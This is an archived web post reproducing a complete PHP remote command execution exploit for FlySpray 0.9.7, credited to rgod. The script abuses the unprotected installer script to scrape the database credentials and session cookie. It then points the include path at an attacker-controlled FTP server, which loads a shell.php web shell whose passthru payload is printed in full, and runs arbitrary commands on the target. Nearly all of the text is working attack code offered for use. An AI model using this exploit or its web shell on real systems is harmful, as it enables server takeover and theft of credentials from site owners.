FlySpray 0.9.7 (install-0.9.7.php) Remote Commands Execution Exploit
Vi, 17/02/2006 - 10:55 — OeX
<?php
# ---flyspray_097_php5_incl_xpl.php 19.57 13/02/2006 #
# #
# FlySpray 0.9.7 remote commands execution exploit #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> works against PHP5 #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Therefore the good fighter will be terrible in his onset, and #
# prompt in his decision" #
/* short explaination:
found this bug in FlySpray, exploiting EGS Enterprise Groupware System 1.0
rc4, see this link for details:
http://retrogod.altervista.org/egs_10rc4_php5_incl_xpl.html */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title> *** FlySpray 0.9.7 remote commands execution exploit **
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*** FlySpray 0.9.7 remote commands execution exploit ** </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/flyspray/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp resource (ex: ftp://u
sername:password@somehost.com/shell.php) </span> </p><p> <input type="text"
name="port"><span class="Stile5">specify a port other than 80 (default value)
</span> </p><p><input type="text" name="proxy"><span class="Stile5"> send exp
loit through an HTTP proxy (ip:port) </span> </p> <p> <input type="submit"
name="Submit" value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".htmlentities($datai)."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=$_POST[FTP_LOCATION];
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";
if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
$path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
# STEP 1 -> Call the Fiyspray 0.9.7 installation script...
$packet ="GET ".$p."sql/install-0.9.7.php?p=2 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Sun-Tzu\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode("basedir\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$basedir=$temp2[0];
echo "basedir -> ".htmlentities($basedir)."<BR>";
$temp=explode("adodbpath\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$adodbpath=$temp2[0];
echo "adodbpath -> ".htmlentities($adodbpath)."<BR>";
$temp=explode("dbhost\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_HOST=$temp2[0];
echo "DB HOST -> ".htmlentities($DB_HOST)."<BR>";
$temp=explode("dbname\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_NAME=$temp2[0];
echo "DB NAME -> ".htmlentities($DB_NAME)."<BR>";
$temp=explode("dbuser\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_USER=$temp2[0];
echo "DB USER -> ".htmlentities($DB_USER)."<BR>";
$temp=explode("dbpass\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$DB_PASS=$temp2[0];
echo "DB PASS -> ".strip_tags(htmlentities($DB_PASS))."<BR>";
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
echo "COOKIE -> ".htmlentities($COOKIE)."<BR>";
# STEP 2 -> submit the ftp resource with shell code inside...
$data ="basedir=".urlencode($basedir);
$data.="&adodbpath=".urlencode($FTP_LOCATION);
$data.="&dbtype=pgsql";
$data.="&dbuser=".urlencode($DB_USER);
$data.="&dbname=".urlencode($DB_NAME);
$data.="&dbhost=".urlencode($DB_HOST);
$data.="&dbpass=".urlencode($DB_PASS);
$packet ="POST ".$p."sql/install-0.9.7.php?p=3 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Sun-Tzuuuuuuu\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
# STEP 3 -> Launch commands...
$packet ="GET ".$p."sql/install-0.9.7.php?p=4&cmd=".$cmd." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User Agent: Sun-tzuuuuuuuuuuuu\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
# STEP 4 -> we don't want to D.O.S Flyspray, so put back the adodbpath value..
$data ="basedir=".urlencode($basedir);
$data.="&adodbpath=".urlencode(trim($adodbpath));
$data.="&dbtype=pgsql";
$data.="&dbuser=".urlencode($DB_USER);
$data.="&dbname=".urlencode($DB_NAME);
$data.="&dbhost=".urlencode($DB_HOST);
$data.="&dbpass=".urlencode($DB_PASS);
$packet ="POST ".$p."sql/install-0.9.7.php?p=3 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Sun-Tzoo\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
}
else
{echo "Note: inside shell.php you need this code: <br>";
echo nl2br(htmlentities("
<?php
ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);phpinfo();passthru(\$cmd);die;
?>
"))."<br>";
echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>- 281 lecturas
Comentarios
Enviar un comentario nuevo